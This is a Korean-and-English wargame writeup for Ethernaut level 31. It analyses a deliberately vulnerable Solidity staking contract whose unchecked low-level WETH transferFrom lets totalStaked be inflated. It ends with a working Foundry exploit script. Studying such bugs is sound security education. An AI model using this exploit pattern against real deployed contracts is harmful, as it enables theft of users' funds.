Ethernaut Writeup CTF/Wargame

Ethernaut 31 Stake

Ethernaut 31 Stake 문제 풀이Ethernaut 31 Stake writeup

Contents

문제

지문

Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract? To complete this level, the contract state must meet the following conditions: The Stake contract's ETH balance has to be greater than 0. totalStaked must be greater than the Stake contract's ETH balance. You must be a staker. Your staked balance must be 0. Things that might be useful: ERC-20 specification. OpenZeppelin contracts

코드

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

배경지식


ERC20에서 approve(spender, amount)는 spender가 내 토큰을 amount만큼 가져갈 수 있도록 허용하는 함수다. 이 값은 allowance(owner, spender)로 조회할 수 있다. 그 다음 spender가 transferFrom(owner, to, amount)를 호출하면, owner의 토큰을 to로 옮긴다. 단 allowance가 충분하더라도 owner의 실제 토큰 잔고가 부족하면 transferFrom은 실패한다. allowance는 권한이고, 실제 잔고는 별도 조건이다.


Solidity에서 일반적인 인터페이스 호출은 대상 함수가 revert하면 현재 트랜잭션도 같이 revert된다. 반면 저수준 call은 호출 성공 여부를 bool로 돌려준다.

solidity
(bool success, bytes memory data) = target.call(payload);

여기서 success == false여도 직접 require(success)를 하지 않으면 현재 함수는 계속 실행된다. 따라서 저수준 call을 쓸 때는 반환된 success를 반드시 확인해야 한다. StakeWETH는 transferFrom이 실패해도 이미 증가시킨 totalStaked와 UserStake를 되돌리지 않는다.

문제 코드 분석


완료 조건은 네 가지다.

  1. address(Stake).balance > 0
  2. totalStaked > address(Stake).balance
  3. Stakers[msg.sender] == true
  4. UserStake[msg.sender] == 0

겉으로 보면 컨트랙트의 ETH를 모두 빼야 할 것 같지만, 실제 검증 조건은 ETH 잔고가 0보다 커야 한다. 마지막에는 Stake 컨트랙트에 1 wei라도 남아 있어야 한다.


StakeETH와 ETH 잔고는 다음과 같다.

solidity
function StakeETH() public payable {
    require(msg.value > 0.001 ether, "Don't be cheap");
    totalStaked += msg.value;
    UserStake[msg.sender] += msg.value;
    Stakers[msg.sender] = true;
}

StakeETH는 실제 ETH를 받기 때문에 address(Stake).balance와 totalStaked가 같이 증가한다. 이 함수만 사용하면 totalStaked와 ETH 잔고 사이에 차이를 만들 수 없다. 하지만 마지막 조건 때문에 Stake 컨트랙트 안에는 ETH가 조금 남아 있어야 한다. 이 ETH를 내 주소로 직접 넣으면 UserStake[msg.sender]도 같이 증가해서 나중에 0으로 맞춰야 한다. 그래서 별도의 tmp 컨트랙트 주소로 ETH를 넣어두면, 내 주소의 UserStake에는 영향을 주지 않고 Stake 컨트랙트의 ETH 잔고만 확보할 수 있다.


StakeWETH의 상태 업데이트 순서는 다음과 같다.

solidity
function StakeWETH(uint256 amount) public returns (bool){
    require(amount >  0.001 ether, "Don't be cheap");
    (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
    require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
    totalStaked += amount;
    UserStake[msg.sender] += amount;
    (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
    Stakers[msg.sender] = true;
    return transfered;
}

0xdd62ed3e는 allowance(address,address)의 selector다. 즉 이 코드는 allowance(msg.sender, address(this))를 저수준 호출로 조회한다.

solidity
WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this)))

그 다음 bytesToUint(allowance) >= amount만 확인한다. 여기서 확인하는 것은 실제 WETH 잔고가 아니라, 내가 Stake 컨트랙트에 허용한 allowance다. 문제는 그 다음 순서다.

solidity
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;

totalStaked와 UserStake를 먼저 증가시키고, 그 뒤에 transferFrom을 호출한다. 0x23b872dd는 transferFrom(address,address,uint256)의 selector다. 만약 내 WETH 잔고가 부족하면 transferFrom은 실패한다. 하지만 저수준 call이라서 transfered == false가 될 뿐이고, 이 함수는 revert하지 않는다. 게다가 transfered를 require로 검사하지도 않는다. WETH가 실제로 이동하지 않아도 다음 상태가 만들어진다.

  1. totalStaked += amount
  2. UserStake[msg.sender] += amount
  3. Stakers[msg.sender] = true
  4. Stake 컨트랙트의 ETH 잔고는 그대로

즉 totalStaked를 실제 ETH 잔고보다 크게 만들 수 있다.


마지막은 Unstake와 남는 Stakers 상태다.

solidity
function Unstake(uint256 amount) public returns (bool){
    require(UserStake[msg.sender] >= amount,"Don't be greedy");
    UserStake[msg.sender] -= amount;
    totalStaked -= amount;
    (bool success, ) = payable(msg.sender).call{value : amount}("");
    return success;
}

Unstake는 UserStake[msg.sender]와 totalStaked를 줄인 뒤, msg.sender에게 ETH를 전송한다. 여기서도 ETH 전송 결과인 success를 반환만 하고 require(success)를 하지 않는다. 이번 풀이에서는 Stake 컨트랙트에 amount + 1 wei를 미리 넣어두기 때문에, Unstake(amount)의 ETH 전송은 성공한다. 그러면 내 UserStake는 0이 되고, Stake 컨트랙트에는 1 wei가 남는다. Unstake는 Stakers[msg.sender]를 false로 바꾸지 않는다. 따라서 StakeWETH로 한 번 Stakers[msg.sender] = true를 만든 뒤 Unstake로 UserStake를 0으로 낮춰도, 나는 여전히 staker로 남는다.

풀이

익스플로잇

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

interface IStake {
    function StakeETH() external payable;
    function StakeWETH(uint256 amount) external returns (bool);
    function Unstake(uint256 amount) external returns (bool);
    function WETH() external view returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract tmp {
    constructor(address _addr) payable {
        IStake(_addr).StakeETH{value: msg.value}();
    }
}

contract Attack is Script {
    function run() external {
        uint256 p = vm.envUint("PRIVATE_KEY");
        address stakeaddr= vm.envAddress("STAKE_INSTANCE");
        IStake stake = IStake(stakeaddr);
        IERC20 weth = IERC20(stake.WETH());
        uint256 amount = 0.0011 ether;
        vm.startBroadcast(p);
        new tmp{value: amount + 1 wei}(stakeaddr);
        weth.approve(stakeaddr, amount);
        stake.StakeWETH(amount);
        stake.Unstake(amount);
        vm.stopBroadcast();
    }
}

Challenge

Prompt

Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract? To complete this level, the contract state must meet the following conditions: The Stake contract's ETH balance has to be greater than 0. totalStaked must be greater than the Stake contract's ETH balance. You must be a staker. Your staked balance must be 0. Things that might be useful: ERC-20 specification. OpenZeppelin contracts

Code

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;

    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }

    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }

    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

Background


In ERC20, approve(spender, amount) is the function that allows spender to take up to amount of my tokens. This value can be queried with allowance(owner, spender). When spender then calls transferFrom(owner, to, amount), it moves owner's tokens to to. However, even if the allowance is sufficient, transferFrom fails if owner's actual token balance is insufficient. allowance is permission, and the actual balance is a separate condition.


In Solidity, a normal interface call reverts the current transaction too if the target function reverts. A low-level call, on the other hand, returns whether the call succeeded as a bool.

solidity
(bool success, bytes memory data) = target.call(payload);

Here, even if success == false, the current function keeps running unless you explicitly require(success). So when using a low-level call, you must always check the returned success. StakeWETH does not roll back the already-incremented totalStaked and UserStake even if transferFrom fails.

Challenge code analysis


There are four completion conditions.

  1. address(Stake).balance > 0
  2. totalStaked > address(Stake).balance
  3. Stakers[msg.sender] == true
  4. UserStake[msg.sender] == 0

On the surface it looks like you have to drain all of the contract's ETH, but the actual check requires the ETH balance to be greater than 0. In the end, even 1 wei has to remain in the Stake contract.


StakeETH handles the ETH balance as follows:

solidity
function StakeETH() public payable {
    require(msg.value > 0.001 ether, "Don't be cheap");
    totalStaked += msg.value;
    UserStake[msg.sender] += msg.value;
    Stakers[msg.sender] = true;
}

StakeETH receives real ETH, so address(Stake).balance and totalStaked increase together. Using only this function, you cannot create a gap between totalStaked and the ETH balance. But because of the last condition, some ETH must remain inside the Stake contract. If I deposit this ETH from my own address, UserStake[msg.sender] also increases and I have to bring it back to 0 later. So if I deposit the ETH from a separate tmp contract address, I can secure the Stake contract's ETH balance without affecting my address's UserStake.


Next is the order of state updates in StakeWETH.

solidity
function StakeWETH(uint256 amount) public returns (bool){
    require(amount >  0.001 ether, "Don't be cheap");
    (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
    require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
    totalStaked += amount;
    UserStake[msg.sender] += amount;
    (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
    Stakers[msg.sender] = true;
    return transfered;
}

0xdd62ed3e is the selector for allowance(address,address). So this code queries allowance(msg.sender, address(this)) with a low-level call.

solidity
WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this)))

Then it only checks bytesToUint(allowance) >= amount. What is checked here is not the actual WETH balance, but the allowance I granted to the Stake contract. The problem is the order that follows.

solidity
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;

It increments totalStaked and UserStake first, and then calls transferFrom. 0x23b872dd is the selector for transferFrom(address,address,uint256). If my WETH balance is insufficient, transferFrom fails. But since it is a low-level call, this only makes transfered == false, and the function does not revert. On top of that, transfered is not checked with require. Even if no WETH actually moves, the following state is produced.

  1. totalStaked += amount
  2. UserStake[msg.sender] += amount
  3. Stakers[msg.sender] = true
  4. The Stake contract's ETH balance is unchanged

In other words, I can make totalStaked larger than the actual ETH balance.


The last piece is Unstake and the leftover Stakers state.

solidity
function Unstake(uint256 amount) public returns (bool){
    require(UserStake[msg.sender] >= amount,"Don't be greedy");
    UserStake[msg.sender] -= amount;
    totalStaked -= amount;
    (bool success, ) = payable(msg.sender).call{value : amount}("");
    return success;
}

Unstake decreases UserStake[msg.sender] and totalStaked, then sends ETH to msg.sender. Here too, it only returns the ETH transfer result success without require(success). In this solution, I deposit amount + 1 wei into the Stake contract in advance, so the ETH transfer of Unstake(amount) succeeds. Then my UserStake becomes 0, and 1 wei remains in the Stake contract. Unstake does not set Stakers[msg.sender] to false. So even after making Stakers[msg.sender] = true once with StakeWETH and lowering UserStake to 0 with Unstake, I still remain a staker.

Solution

Exploit

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

interface IStake {
    function StakeETH() external payable;
    function StakeWETH(uint256 amount) external returns (bool);
    function Unstake(uint256 amount) external returns (bool);
    function WETH() external view returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract tmp {
    constructor(address _addr) payable {
        IStake(_addr).StakeETH{value: msg.value}();
    }
}

contract Attack is Script {
    function run() external {
        uint256 p = vm.envUint("PRIVATE_KEY");
        address stakeaddr= vm.envAddress("STAKE_INSTANCE");
        IStake stake = IStake(stakeaddr);
        IERC20 weth = IERC20(stake.WETH());
        uint256 amount = 0.0011 ether;
        vm.startBroadcast(p);
        new tmp{value: amount + 1 wei}(stakeaddr);
        weth.approve(stakeaddr, amount);
        stake.StakeWETH(amount);
        stake.Unstake(amount);
        vm.stopBroadcast();
    }
}

Esc

Search titles, content and code.